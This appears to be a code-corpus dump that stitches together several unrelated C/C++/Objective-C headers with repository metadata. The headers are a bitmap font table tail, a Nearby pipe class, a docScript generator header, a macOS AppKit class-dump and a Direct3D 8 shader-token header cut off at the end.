5, 0, -5 } // 'z' ,{ 354, 3, 7, 4, 0, -7 } // '{' ,{ 358, 1, 7, 2, 0, -7 } // '|' ,{ 360, 3, 7, 4, 0, -7 } // '}' ,{ 364, 4, 7, 5, 0, -7 } // '~' }; const GFXfont Font5x7Fixed PROGMEM = { (uint8_t *)Font5x7FixedBitmaps, (GFXglyph *)Font5x7FixedGlyphs, 0x20, 0x7E, 7};
50.671329
74
0.33867
6485fff364b4f3cf0eddc91d7665e41070f1f541
1,286
h
C
cpp/platform/impl/g3/pipe.h
eric100lin/nearby
8bdc61a10f14ea47acc9a2c2943d29593b371f72
[ "Apache-2.0" ]
106
2020-06-02T03:38:57.000Z
2021-10-07T09:07:09.000Z
cpp/platform/impl/g3/pipe.h
eric100lin/nearby
8bdc61a10f14ea47acc9a2c2943d29593b371f72
[ "Apache-2.0" ]
51
2020-09-24T22:20:10.000Z
2021-10-11T22:29:59.000Z
cpp/platform/impl/g3/pipe.h
eric100lin/nearby
8bdc61a10f14ea47acc9a2c2943d29593b371f72
[ "Apache-2.0" ]
36
2020-07-17T10:17:40.000Z
2021-10-04T00:49:38.000Z
// Copyright 2020 Google LLC // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // https://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. #ifndef PLATFORM_IMPL_G3_PIPE_H_ #define PLATFORM_IMPL_G3_PIPE_H_ #include <memory> #include "platform/base/base_pipe.h" #include "platform/impl/g3/condition_variable.h" #include "platform/impl/g3/mutex.h" namespace location { namespace nearby { namespace g3 { class Pipe : public BasePipe { public: Pipe() { auto mutex = std::make_unique<g3::Mutex>(/*check=*/true); auto cond = std::make_unique<g3::ConditionVariable>(mutex.get()); Setup(std::move(mutex), std::move(cond)); } ~Pipe() override = default; Pipe(Pipe&&) = delete; Pipe& operator=(Pipe&&) = delete; }; } // namespace g3 } // namespace nearby } // namespace location #endif // PLATFORM_IMPL_G3_PIPE_H_
28.577778
75
0.72084
83ed73e33c9f6b137c557d29e0eb14d170eeeaf1
4,469
h
C
src/main/include/docscript/generator/generator.h
solosTec/docScript
0c6688fa1ea5ae5ceaae50f17f5360d84b9d0d7e
[ "MIT" ]
null
null
null
src/main/include/docscript/generator/generator.h
solosTec/docScript
0c6688fa1ea5ae5ceaae50f17f5360d84b9d0d7e
[ "MIT" ]
1
2020-04-30T06:15:10.000Z
2020-04-30T10:53:48.000Z
src/main/include/docscript/generator/generator.h
solosTec/docScript
0c6688fa1ea5ae5ceaae50f17f5360d84b9d0d7e
[ "MIT" ]
1
2021-07-28T08:00:59.000Z
2021-07-28T08:00:59.000Z
/* * The MIT License (MIT) * * Copyright (c) 2019 Sylko Olzscher * */ #ifndef DOCSCRIPT_GENERATOR_H #define DOCSCRIPT_GENERATOR_H #include <docscript/generator/numbering.h> #include <cyng/intrinsics/sets.h> #include <cyng/vm/controller.h> #include <cyng/async/scheduler.h> #include <cyng/io/iso_639_1.h> #include <boost/uuid/name_generator.hpp> #include <boost/uuid/random_generator.hpp> namespace docscript { namespace i18n { enum word_id { WID_FIGURE, WID_TABLE, WID_TOC, }; } /** * @brief The generator case class */ class generator { public: generator(std::vector< cyng::filesystem::path > const&); virtual ~generator(); void run(cyng::vector_t&&); cyng::param_map_t const& get_meta() const; protected: /** * register all build-in functions */ void register_this(); void init_meta_data(cyng::context& ctx); void meta(cyng::context& ctx); void var_set(cyng::context& ctx); void var_get(cyng::context& ctx); void generate_index(cyng::context& ctx); virtual void print_symbol(cyng::context& ctx); virtual void print_currency(cyng::context& ctx); virtual void print_hline(cyng::context& ctx) = 0; //!< ruler virtual void create_uuid(cyng::context& ctx); virtual void make_map(cyng::context& ctx); virtual void get_version(cyng::context& ctx); virtual void generate_file(cyng::context& ctx) = 0; virtual void generate_meta(cyng::context& ctx) = 0; virtual void convert_numeric(cyng::context& ctx) = 0; virtual void convert_alpha(cyng::context& ctx) = 0; virtual void paragraph(cyng::context& ctx) = 0; virtual void abstract(cyng::context& ctx) = 0; virtual void quote(cyng::context& ctx) = 0; virtual void list(cyng::context& ctx) = 0; virtual void link(cyng::context& ctx) = 0; virtual void figure(cyng::context& ctx) = 0; virtual void gallery(cyng::context& ctx) = 0; virtual void code(cyng::context& ctx) = 0; virtual void def(cyng::context& ctx) = 0; virtual void annotation(cyng::context& ctx) = 0; virtual void table(cyng::context& ctx) = 0; virtual void alert(cyng::context& ctx) = 0; virtual void header(cyng::context& ctx) = 0; virtual void section(int, cyng::context& ctx) = 0; virtual void make_footnote(cyng::context& ctx) = 0; virtual void make_ref(cyng::context& ctx) = 0; virtual void make_tok(cyng::context& ctx) = 0; virtual void format_italic(cyng::context& ctx) = 0; virtual void format_bold(cyng::context& ctx) = 0; virtual void format_color(cyng::context& ctx) = 0; virtual void format_tt(cyng::context& ctx) = 0; virtual void format_sub(cyng::context& ctx) = 0; virtual void format_sup(cyng::context& ctx) = 0; virtual void format_mark(cyng::context& ctx) = 0; cyng::filesystem::path resolve_path(std::string const& s) const; /** * Default value is report * * @return "og:type" report/article */ std::string get_type() const; /** * @return true of "og:type" is report */ bool is_report() const; /** * Default value is "en" * * @return language as defined in meta data */ std::string get_language() const; cyng::io::language_codes get_language_code() const; /* * @return name in current language */ std::string get_name(i18n::word_id) const; /** * provide a slug if not defined yet */ void slug(); protected: boost::uuids::random_generator uuid_gen_; // basic_random_generator<mt19937> /** * namespace for UUID generation based on SHA1 */ boost::uuids::name_generator_sha1 name_gen_; cyng::async::scheduler scheduler_; cyng::controller vm_; /** * dynamic values during "runtime" */ cyng::param_map_t vars_; cyng::param_map_t const_; std::vector< cyng::filesystem::path > const includes_; numbering content_table_; /** * meta data */ cyng::param_map_t meta_; }; std::string get_extension(cyng::filesystem::path const& p); std::string accumulate_plain_text(cyng::object); std::string accumulate_plain_text(cyng::tuple_t); std::string accumulate_plain_text(cyng::vector_t); /** * @brief generate_slug * @param title * @return cleaned up string that can be used in an URL or filesystem */ std::string generate_slug(std::string title); cyng::object generate_slug(cyng::object title); } #endif
25.83237
79
0.662564
eafd24f41abd8ebc4fff5101095c8309f80d1e63
3,071
h
C
macOS/10.13/AppKit.framework/NSMorphingDragImageController.h
onmyway133/Runtime-Headers
e9b80e7ab9103f37ad421ad6b8b58ee06369d21f
[ "MIT" ]
30
2016-10-09T20:13:00.000Z
2022-01-24T04:14:57.000Z
macOS/10.13/AppKit.framework/NSMorphingDragImageController.h
onmyway133/Runtime-Headers
e9b80e7ab9103f37ad421ad6b8b58ee06369d21f
[ "MIT" ]
null
null
null
macOS/10.13/AppKit.framework/NSMorphingDragImageController.h
onmyway133/Runtime-Headers
e9b80e7ab9103f37ad421ad6b8b58ee06369d21f
[ "MIT" ]
7
2017-08-29T14:41:25.000Z
2022-01-19T17:14:54.000Z
/* Generated by RuntimeBrowser Image: /System/Library/Frameworks/AppKit.framework/Versions/C/AppKit */ @interface NSMorphingDragImageController : NSObject <NSTearOffTabWindowDelegate> { BOOL _dragDone; NSMorphingDragImageView * _dragImageView; NSTabBarItem * _dragItem; <NSMorphingDragImageControllerDragSource> * _dragSource; NSTearOffTabWindow * _dragWindow; struct CGSize { double width; double height; } _maxImageSize; BOOL _mouseOverSystemWindow; struct CGSize { double width; double height; } _originalViewOffset; NSTimer * _periodicEventTimer; NSImage * _pinnedTabDragImage; NSAnimation * _slideBackAnimation; struct CGPoint { double x; double y; } _slideBackEndTranslation; struct CGPoint { double x; double y; } _slideBackStartTranslation; NSView * _sourceView; NSTimer * _springTargetWindowToFrontTimer; NSImage * _tabDragImage; BOOL _targetAcceptsDrag; <NSTabDraggingDestination> * _targetUnderMouse; NSImage * _windowDragImage; NSWindow * _windowUnderMouse; } @property (atomic, readonly, copy) NSString *debugDescription; @property (atomic, readonly, copy) NSString *description; @property (nonatomic, readonly) NSTearOffTabWindow *dragWindow; @property (atomic, readonly) unsigned long long hash; @property (atomic, readonly) Class superclass; + (void)dragTabWithDraggingItem:(id)arg1 tabButtonImage:(id)arg2 pinnedTabButtonImage:(id)arg3 windowImage:(id)arg4 fromView:(id)arg5 at:(struct CGPoint { double x1; double x2; })arg6 isDark:(BOOL)arg7 source:(id)arg8; - (void).cxx_destruct; - (void)_animateSlideBack; - (void)_applicationDidResignActive; - (void)_beginSlideBackAnimation; - (BOOL)_canPerformTabDrag; - (BOOL)_didAcceptDrop; - (void)_dragComplete; - (id)_dragInfoForNoTargetUnderMouse; - (id)_dragInfoForTargetUnderMouse; - (id)_dragInfoForTargetUnderMouseInWindow:(id)arg1; - (void)_dragTabWithDraggingItem:(id)arg1 tabButtonImage:(id)arg2 pinnedTabButtonImage:(id)arg3 windowImage:(id)arg4 fromView:(id)arg5 at:(struct CGPoint { double x1; double x2; })arg6 isDark:(BOOL)arg7 source:(id)arg8; - (void)_draggingDidEnterTargetWindow; - (void)_draggingDidExitTargetWindow; - (BOOL)_dropOpensNewWindow; - (BOOL)_dropTabOnScreenIfPossible; - (void)_findWindowUnderMouse:(id*)arg1 level:(int*)arg2 viewUnderMouse:(id*)arg3; - (void)_firePeriodicEvent:(id)arg1; - (void)_handleEvent:(id)arg1; - (void)_handleFlagsChanged; - (void)_handleMouseDragged; - (void)_handleMouseUp; - (void)_morphToDragImage:(id)arg1; - (void)_performSprintToFront:(id)arg1; - (void)_prepareForDragWithImage:(id)arg1 isDark:(BOOL)arg2; - (void)_runDrag; - (void)_sendMovedToPointOnScreenToDragSource; - (void)_setTargetUnderMouse:(id)arg1; - (void)_setWindowUnderMouse:(id)arg1; - (void)_startPeriodicEventTimerIfNeeded; - (void)_stopPeriodicEventTimer; - (void)_updateDragImageForCurrentDragState; - (void)dealloc; - (id)detachWindowForTearOffTabWindow:(id)arg1; - (id)dragWindow; @end
36.559524
219
0.753826
c152efd5f950ebbf5f1c68b8f35446d9677434cf
18,868
h
C
S3DWrapper8/d3d8shader.h
bo3b/iZ3D
ced8b3a4b0a152d0177f2e94008918efc76935d5
[ "MIT" ]
27
2020-11-12T19:24:54.000Z
2022-03-27T23:10:45.000Z
S3DWrapper8/d3d8shader.h
bo3b/iZ3D
ced8b3a4b0a152d0177f2e94008918efc76935d5
[ "MIT" ]
2
2020-11-02T06:30:39.000Z
2022-02-23T18:39:55.000Z
S3DWrapper8/d3d8shader.h
bo3b/iZ3D
ced8b3a4b0a152d0177f2e94008918efc76935d5
[ "MIT" ]
3
2021-08-16T00:21:08.000Z
2022-02-23T19:19:36.000Z
/*==========================================================================; * * Copyright (C) Microsoft Corporation. All Rights Reserved. * * File: d3d8types.h * Content: Direct3D capabilities include file * ***************************************************************************/ #ifndef _D3D8TYPES_H_ #define _D3D8TYPES_H_ #ifndef DIRECT3D_VERSION #define DIRECT3D_VERSION 0x0800 #endif //DIRECT3D_VERSION // include this file content only if compiling for DX8 interfaces #if(DIRECT3D_VERSION >= 0x0800) #include <float.h> #if _MSC_VER >= 1200 #pragma warning(push) #endif #pragma warning(disable:4201) // anonymous unions warning #if defined(_X86_) || defined(_IA64_) #pragma pack(4) #endif //--------------------------------------------------------------------- // Vertex Shaders // /* Vertex Shader Declaration The declaration portion of a vertex shader defines the static external interface of the shader. The information in the declaration includes: - Assignments of vertex shader input registers to data streams. These assignments bind a specific vertex register to a single component within a vertex stream. A vertex stream element is identified by a byte offset within the stream and a type. The type specifies the arithmetic data type plus the dimensionality (1, 2, 3, or 4 values). Stream data which is less than 4 values are always expanded out to 4 values with zero or more 0.F values and one 1.F value. - Assignment of vertex shader input registers to implicit data from the primitive tessellator. This controls the loading of vertex data which is not loaded from a stream, but rather is generated during primitive tessellation prior to the vertex shader. - Loading data into the constant memory at the time a shader is set as the current shader. Each token specifies values for one or more contiguous 4 DWORD constant registers. This allows the shader to update an arbitrary subset of the constant memory, overwriting the device state (which contains the current values of the constant memory). Note that these values can be subsequently overwritten (between DrawPrimitive calls) during the time a shader is bound to a device via the SetVertexShaderConstant method. Declaration arrays are single-dimensional arrays of DWORDs composed of multiple tokens each of which is one or more DWORDs. The single-DWORD token value 0xFFFFFFFF is a special token used to indicate the end of the declaration array. The single DWORD token value 0x00000000 is a NOP token with is ignored during the declaration parsing. Note that 0x00000000 is a valid value for DWORDs following the first DWORD for multiple word tokens. [31:29] TokenType 0x0 - NOP (requires all DWORD bits to be zero) 0x1 - stream selector 0x2 - stream data definition (map to vertex input memory) 0x3 - vertex input memory from tessellator 0x4 - constant memory from shader 0x5 - extension 0x6 - reserved 0x7 - end-of-array (requires all DWORD bits to be 1) NOP Token (single DWORD token) [31:29] 0x0 [28:00] 0x0 Stream Selector (single DWORD token) [31:29] 0x1 [28] indicates whether this is a tessellator stream [27:04] 0x0 [03:00] stream selector (0..15) Stream Data Definition (single DWORD token) Vertex Input Register Load [31:29] 0x2 [28] 0x0 [27:20] 0x0 [19:16] type (dimensionality and data type) [15:04] 0x0 [03:00] vertex register address (0..15) Data Skip (no register load) [31:29] 0x2 [28] 0x1 [27:20] 0x0 [19:16] count of DWORDS to skip over (0..15) [15:00] 0x0 Vertex Input Memory from Tessellator Data (single DWORD token) [31:29] 0x3 [28] indicates whether data is normals or u/v [27:24] 0x0 [23:20] vertex register address (0..15) [19:16] type (dimensionality) [15:04] 0x0 [03:00] vertex register address (0..15) Constant Memory from Shader (multiple DWORD token) [31:29] 0x4 [28:25] count of 4*DWORD constants to load (0..15) [24:07] 0x0 [06:00] constant memory address (0..95) Extension Token (single or multiple DWORD token) [31:29] 0x5 [28:24] count of additional DWORDs in token (0..31) [23:00] extension-specific information End-of-array token (single DWORD token) [31:29] 0x7 [28:00] 0x1fffffff The stream selector token must be immediately followed by a contiguous set of stream data definition tokens. This token sequence fully defines that stream, including the set of elements within the stream, the order in which the elements appear, the type of each element, and the vertex register into which to load an element. Streams are allowed to include data which is not loaded into a vertex register, thus allowing data which is not used for this shader to exist in the vertex stream. This skipped data is defined only by a count of DWORDs to skip over, since the type information is irrelevant. The token sequence: Stream Select: stream=0 Stream Data Definition (Load): type=FLOAT3; register=3 Stream Data Definition (Load): type=FLOAT3; register=4 Stream Data Definition (Skip): count=2 Stream Data Definition (Load): type=FLOAT2; register=7 defines stream zero to consist of 4 elements, 3 of which are loaded into registers and the fourth skipped over. Register 3 is loaded with the first three DWORDs in each vertex interpreted as FLOAT data. Register 4 is loaded with the 4th, 5th, and 6th DWORDs interpreted as FLOAT data. The next two DWORDs (7th and 8th) are skipped over and not loaded into any vertex input register. Register 7 is loaded with the 9th and 10th DWORDS interpreted as FLOAT data. Placing of tokens other than NOPs between the Stream Selector and Stream Data Definition tokens is disallowed. */ typedef enum _D3DVSD_TOKENTYPE { D3DVSD_TOKEN_NOP = 0, // NOP or extension D3DVSD_TOKEN_STREAM, // stream selector D3DVSD_TOKEN_STREAMDATA, // stream data definition (map to vertex input memory) D3DVSD_TOKEN_TESSELLATOR, // vertex input memory from tessellator D3DVSD_TOKEN_CONSTMEM, // constant memory from shader D3DVSD_TOKEN_EXT, // extension D3DVSD_TOKEN_END = 7, // end-of-array (requires all DWORD bits to be 1) D3DVSD_FORCE_DWORD = 0x7fffffff,// force 32-bit size enum } D3DVSD_TOKENTYPE; #define D3DVSD_TOKENTYPESHIFT 29 #define D3DVSD_TOKENTYPEMASK (7 << D3DVSD_TOKENTYPESHIFT) #define D3DVSD_STREAMNUMBERSHIFT 0 #define D3DVSD_STREAMNUMBERMASK (0xF << D3DVSD_STREAMNUMBERSHIFT) #define D3DVSD_DATALOADTYPESHIFT 28 #define D3DVSD_DATALOADTYPEMASK (0x1 << D3DVSD_DATALOADTYPESHIFT) #define D3DVSD_DATATYPESHIFT 16 #define D3DVSD_DATATYPEMASK (0xF << D3DVSD_DATATYPESHIFT) #define D3DVSD_SKIPCOUNTSHIFT 16 #define D3DVSD_SKIPCOUNTMASK (0xF << D3DVSD_SKIPCOUNTSHIFT) #define D3DVSD_VERTEXREGSHIFT 0 #define D3DVSD_VERTEXREGMASK (0x1F << D3DVSD_VERTEXREGSHIFT) #define D3DVSD_VERTEXREGINSHIFT 20 #define D3DVSD_VERTEXREGINMASK (0xF << D3DVSD_VERTEXREGINSHIFT) #define D3DVSD_CONSTCOUNTSHIFT 25 #define D3DVSD_CONSTCOUNTMASK (0xF << D3DVSD_CONSTCOUNTSHIFT) #define D3DVSD_CONSTADDRESSSHIFT 0 #define D3DVSD_CONSTADDRESSMASK (0x7F << D3DVSD_CONSTADDRESSSHIFT) #define D3DVSD_CONSTRSSHIFT 16 #define D3DVSD_CONSTRSMASK (0x1FFF << D3DVSD_CONSTRSSHIFT) #define D3DVSD_EXTCOUNTSHIFT 24 #define D3DVSD_EXTCOUNTMASK (0x1F << D3DVSD_EXTCOUNTSHIFT) #define D3DVSD_EXTINFOSHIFT 0 #define D3DVSD_EXTINFOMASK (0xFFFFFF << D3DVSD_EXTINFOSHIFT) #define D3DVSD_MAKETOKENTYPE(tokenType) ((tokenType << D3DVSD_TOKENTYPESHIFT) & D3DVSD_TOKENTYPEMASK) // macros for generation of CreateVertexShader Declaration token array // Set current stream // _StreamNumber [0..(MaxStreams-1)] stream to get data from // #define D3DVSD_STREAM( _StreamNumber ) \ (D3DVSD_MAKETOKENTYPE(D3DVSD_TOKEN_STREAM) | (_StreamNumber)) // Set tessellator stream // #define D3DVSD_STREAMTESSSHIFT 28 #define D3DVSD_STREAMTESSMASK (1 << D3DVSD_STREAMTESSSHIFT) #define D3DVSD_STREAM_TESS( ) \ (D3DVSD_MAKETOKENTYPE(D3DVSD_TOKEN_STREAM) | (D3DVSD_STREAMTESSMASK)) // bind single vertex register to vertex element from vertex stream // // _VertexRegister [0..15] address of the vertex register // _Type [D3DVSDT_*] dimensionality and arithmetic data type #define D3DVSD_REG( _VertexRegister, _Type ) \ (D3DVSD_MAKETOKENTYPE(D3DVSD_TOKEN_STREAMDATA) | \ ((_Type) << D3DVSD_DATATYPESHIFT) | (_VertexRegister)) // Skip _DWORDCount DWORDs in vertex // #define D3DVSD_SKIP( _DWORDCount ) \ (D3DVSD_MAKETOKENTYPE(D3DVSD_TOKEN_STREAMDATA) | 0x10000000 | \ ((_DWORDCount) << D3DVSD_SKIPCOUNTSHIFT)) // load data into vertex shader constant memory // // _ConstantAddress [0..95] - address of constant array to begin filling data // _Count [0..15] - number of constant vectors to load (4 DWORDs each) // followed by 4*_Count DWORDS of data // #define D3DVSD_CONST( _ConstantAddress, _Count ) \ (D3DVSD_MAKETOKENTYPE(D3DVSD_TOKEN_CONSTMEM) | \ ((_Count) << D3DVSD_CONSTCOUNTSHIFT) | (_ConstantAddress)) // enable tessellator generated normals // // _VertexRegisterIn [0..15] address of vertex register whose input stream // will be used in normal computation // _VertexRegisterOut [0..15] address of vertex register to output the normal to // #define D3DVSD_TESSNORMAL( _VertexRegisterIn, _VertexRegisterOut ) \ (D3DVSD_MAKETOKENTYPE(D3DVSD_TOKEN_TESSELLATOR) | \ ((_VertexRegisterIn) << D3DVSD_VERTEXREGINSHIFT) | \ ((0x02) << D3DVSD_DATATYPESHIFT) | (_VertexRegisterOut)) // enable tessellator generated surface parameters // // _VertexRegister [0..15] address of vertex register to output parameters // #define D3DVSD_TESSUV( _VertexRegister ) \ (D3DVSD_MAKETOKENTYPE(D3DVSD_TOKEN_TESSELLATOR) | 0x10000000 | \ ((0x01) << D3DVSD_DATATYPESHIFT) | (_VertexRegister)) // Generates END token // #define D3DVSD_END() 0xFFFFFFFF // Generates NOP token #define D3DVSD_NOP() 0x00000000 // bit declarations for _Type fields #define D3DVSDT_FLOAT1 0x00 // 1D float expanded to (value, 0., 0., 1.) #define D3DVSDT_FLOAT2 0x01 // 2D float expanded to (value, value, 0., 1.) #define D3DVSDT_FLOAT3 0x02 // 3D float expanded to (value, value, value, 1.) #define D3DVSDT_FLOAT4 0x03 // 4D float #define D3DVSDT_D3DCOLOR 0x04 // 4D packed unsigned bytes mapped to 0. to 1. range // Input is in D3DCOLOR format (ARGB) expanded to (R, G, B, A) #define D3DVSDT_UBYTE4 0x05 // 4D unsigned byte #define D3DVSDT_SHORT2 0x06 // 2D signed short expanded to (value, value, 0., 1.) #define D3DVSDT_SHORT4 0x07 // 4D signed short // assignments of vertex input registers for fixed function vertex shader // #define D3DVSDE_POSITION 0 #define D3DVSDE_BLENDWEIGHT 1 #define D3DVSDE_BLENDINDICES 2 #define D3DVSDE_NORMAL 3 #define D3DVSDE_PSIZE 4 #define D3DVSDE_DIFFUSE 5 #define D3DVSDE_SPECULAR 6 #define D3DVSDE_TEXCOORD0 7 #define D3DVSDE_TEXCOORD1 8 #define D3DVSDE_TEXCOORD2 9 #define D3DVSDE_TEXCOORD3 10 #define D3DVSDE_TEXCOORD4 11 #define D3DVSDE_TEXCOORD5 12 #define D3DVSDE_TEXCOORD6 13 #define D3DVSDE_TEXCOORD7 14 #define D3DVSDE_POSITION2 15 #define D3DVSDE_NORMAL2 16 // Maximum supported number of texture coordinate sets #define D3DDP_MAXTEXCOORD 8 // // Instruction Token Bit Definitions // #define D3DSI_OPCODE_MASK 0x0000FFFF // // Co-Issue Instruction Modifier - if set then this instruction is to be // issued in parallel with the previous instruction(s) for which this bit // is not set. // #define D3DSI_COISSUE 0x40000000 // // Parameter Token Bit Definitions // //#define D3DSP_REGNUM_MASK 0x00001FFF // destination parameter write mask #define D3DSP_WRITEMASK_0 0x00010000 // Component 0 (X;Red) #define D3DSP_WRITEMASK_1 0x00020000 // Component 1 (Y;Green) #define D3DSP_WRITEMASK_2 0x00040000 // Component 2 (Z;Blue) #define D3DSP_WRITEMASK_3 0x00080000 // Component 3 (W;Alpha) #define D3DSP_WRITEMASK_ALL 0x000F0000 // All Components // destination parameter modifiers #define D3DSP_DSTMOD_SHIFT 20 #define D3DSP_DSTMOD_MASK 0x00F00000 //typedef enum _D3DSHADER_PARAM_DSTMOD_TYPE //{ // D3DSPDM_NONE = 0<<D3DSP_DSTMOD_SHIFT, // nop // D3DSPDM_SATURATE= 1<<D3DSP_DSTMOD_SHIFT, // clamp to 0. to 1. range // D3DSPDM_FORCE_DWORD = 0x7fffffff, // force 32-bit size enum //} D3DSHADER_PARAM_DSTMOD_TYPE; // destination parameter #define D3DSP_DSTSHIFT_SHIFT 24 #define D3DSP_DSTSHIFT_MASK 0x0F000000 // destination/source parameter register type #define D3DSP_REGTYPE_SHIFT 28 #define D3DSP_REGTYPE_MASK 0x70000000 //typedef enum _D3DSHADER_PARAM_REGISTER_TYPE //{ // D3DSPR_TEMP = 0<<D3DSP_REGTYPE_SHIFT, // Temporary Register File // D3DSPR_INPUT = 1<<D3DSP_REGTYPE_SHIFT, // Input Register File // D3DSPR_CONST = 2<<D3DSP_REGTYPE_SHIFT, // Constant Register File // D3DSPR_ADDR = 3<<D3DSP_REGTYPE_SHIFT, // Address Register (VS) // D3DSPR_TEXTURE = 3<<D3DSP_REGTYPE_SHIFT, // Texture Register File (PS) // D3DSPR_RASTOUT = 4<<D3DSP_REGTYPE_SHIFT, // Rasterizer Register File // D3DSPR_ATTROUT = 5<<D3DSP_REGTYPE_SHIFT, // Attribute Output Register File // D3DSPR_TEXCRDOUT= 6<<D3DSP_REGTYPE_SHIFT, // Texture Coordinate Output Register File // D3DSPR_FORCE_DWORD = 0x7fffffff, // force 32-bit size enum //} D3DSHADER_PARAM_REGISTER_TYPE; // Register offsets in the Rasterizer Register File // //typedef enum _D3DVS_RASTOUT_OFFSETS //{ // D3DSRO_POSITION = 0, // D3DSRO_FOG, // D3DSRO_POINT_SIZE, // D3DSRO_FORCE_DWORD = 0x7fffffff, // force 32-bit size enum //} D3DVS_RASTOUT_OFFSETS; // Source operand addressing modes #define D3DVS_ADDRESSMODE_SHIFT 13 #define D3DVS_ADDRESSMODE_MASK (1 << D3DVS_ADDRESSMODE_SHIFT) //typedef enum _D3DVS_ADDRESSMODE_TYPE //{ // D3DVS_ADDRMODE_ABSOLUTE = (0 << D3DVS_ADDRESSMODE_SHIFT), // D3DVS_ADDRMODE_RELATIVE = (1 << D3DVS_ADDRESSMODE_SHIFT), // Relative to register A0 // D3DVS_ADDRMODE_FORCE_DWORD = 0x7fffffff, // force 32-bit size enum //} D3DVS_ADDRESSMODE_TYPE; // Source operand swizzle definitions // #define D3DVS_SWIZZLE_SHIFT 16 #define D3DVS_SWIZZLE_MASK 0x00FF0000 // The following bits define where to take component X from: #define D3DVS_X_X (0 << D3DVS_SWIZZLE_SHIFT) #define D3DVS_X_Y (1 << D3DVS_SWIZZLE_SHIFT) #define D3DVS_X_Z (2 << D3DVS_SWIZZLE_SHIFT) #define D3DVS_X_W (3 << D3DVS_SWIZZLE_SHIFT) // The following bits define where to take component Y from: #define D3DVS_Y_X (0 << (D3DVS_SWIZZLE_SHIFT + 2)) #define D3DVS_Y_Y (1 << (D3DVS_SWIZZLE_SHIFT + 2)) #define D3DVS_Y_Z (2 << (D3DVS_SWIZZLE_SHIFT + 2)) #define D3DVS_Y_W (3 << (D3DVS_SWIZZLE_SHIFT + 2)) // The following bits define where to take component Z from: #define D3DVS_Z_X (0 << (D3DVS_SWIZZLE_SHIFT + 4)) #define D3DVS_Z_Y (1 << (D3DVS_SWIZZLE_SHIFT + 4)) #define D3DVS_Z_Z (2 << (D3DVS_SWIZZLE_SHIFT + 4)) #define D3DVS_Z_W (3 << (D3DVS_SWIZZLE_SHIFT + 4)) // The following bits define where to take component W from: #define D3DVS_W_X (0 << (D3DVS_SWIZZLE_SHIFT + 6)) #define D3DVS_W_Y (1 << (D3DVS_SWIZZLE_SHIFT + 6)) #define D3DVS_W_Z (2 << (D3DVS_SWIZZLE_SHIFT + 6)) #define D3DVS_W_W (3 << (D3DVS_SWIZZLE_SHIFT + 6)) // Value when there is no swizzle (X is taken from X, Y is taken from Y, // Z is taken from Z, W is taken from W // #define D3DVS_NOSWIZZLE (D3DVS_X_X | D3DVS_Y_Y | D3DVS_Z_Z | D3DVS_W_W) // source parameter swizzle #define D3DSP_SWIZZLE_SHIFT 16 #define D3DSP_SWIZZLE_MASK 0x00FF0000 #define D3DSP_NOSWIZZLE \ ( (0 << (D3DSP_SWIZZLE_SHIFT + 0)) | \ (1 << (D3DSP_SWIZZLE_SHIFT + 2)) | \ (2 << (D3DSP_SWIZZLE_SHIFT + 4)) | \ (3 << (D3DSP_SWIZZLE_SHIFT + 6)) ) // pixel-shader swizzle ops #define D3DSP_REPLICATERED \ ( (0 << (D3DSP_SWIZZLE_SHIFT + 0)) | \ (0 << (D3DSP_SWIZZLE_SHIFT + 2)) | \ (0 << (D3DSP_SWIZZLE_SHIFT + 4)) | \ (0 << (D3DSP_SWIZZLE_SHIFT + 6)) ) #define D3DSP_REPLICATEGREEN \ ( (1 << (D3DSP_SWIZZLE_SHIFT + 0)) | \ (1 << (D3DSP_SWIZZLE_SHIFT + 2)) | \ (1 << (D3DSP_SWIZZLE_SHIFT + 4)) | \ (1 << (D3DSP_SWIZZLE_SHIFT + 6)) ) #define D3DSP_REPLICATEBLUE \ ( (2 << (D3DSP_SWIZZLE_SHIFT + 0)) | \ (2 << (D3DSP_SWIZZLE_SHIFT + 2)) | \ (2 << (D3DSP_SWIZZLE_SHIFT + 4)) | \ (2 << (D3DSP_SWIZZLE_SHIFT + 6)) ) #define D3DSP_REPLICATEALPHA \ ( (3 << (D3DSP_SWIZZLE_SHIFT + 0)) | \ (3 << (D3DSP_SWIZZLE_SHIFT + 2)) | \ (3 << (D3DSP_SWIZZLE_SHIFT + 4)) | \ (3 << (D3DSP_SWIZZLE_SHIFT + 6)) ) // source parameter modifiers #define D3DSP_SRCMOD_SHIFT 24 #define D3DSP_SRCMOD_MASK 0x0F000000 //typedef enum _D3DSHADER_PARAM_SRCMOD_TYPE //{ // D3DSPSM_NONE = 0<<D3DSP_SRCMOD_SHIFT, // nop // D3DSPSM_NEG = 1<<D3DSP_SRCMOD_SHIFT, // negate // D3DSPSM_BIAS = 2<<D3DSP_SRCMOD_SHIFT, // bias // D3DSPSM_BIASNEG = 3<<D3DSP_SRCMOD_SHIFT, // bias and negate // D3DSPSM_SIGN = 4<<D3DSP_SRCMOD_SHIFT, // sign // D3DSPSM_SIGNNEG = 5<<D3DSP_SRCMOD_SHIFT, // sign and negate // D3DSPSM_COMP = 6<<D3DSP_SRCMOD_SHIFT, // complement // D3DSPSM_X2 = 7<<D3DSP_SRCMOD_SHIFT, // *2 // D3DSPSM_X2NEG = 8<<D3DSP_SRCMOD_SHIFT, // *2 and negate // D3DSPSM_DZ = 9<<D3DSP_SRCMOD_SHIFT, // divide through by z component // D3DSPSM_DW = 10<<D3DSP_SRCMOD_SHIFT, // divide through by w component // D3DSPSM_FORCE_DWORD = 0x7fffffff, // force 32-bit size enum //} D3DSHADER_PARAM_SRCMOD_TYPE; // pixel shader version token #define D3DPS_VERSION(_Major,_Minor) (0xFFFF0000|((_Major)<<8)|(_Minor)) // vertex shader version token #define D3DVS_VERSION(_Major,_Minor) (0xFFFE0000|((_Major)<<8)|(_Minor)) // extract major/minor from version cap #define D3DSHADER_VERSION_MAJOR(_Version) (((_Version)>>8)&0xFF) #define D3DSHADER_VERSION_MINOR(_Version) (((_Version)>>0)&0xFF) // destination/source parameter register type #define D3DSI_COMMENTSIZE_SHIFT 16 #define D3DSI_COMMENTSIZE_MASK 0x7FFF0000 #define D3DSHADER_COMMENT(_DWordSize) \ ((((_DWordSize)<<D3DSI_COMMENTSIZE_SHIFT)&D3DSI_COMMENTSIZE_MASK)|D3DSIO_COMMENT) // pixel/vertex shader end token #define D3DPS_END() 0x0000FFFF #define D3DVS_END() 0x0000FFFF #pragma pack() #if 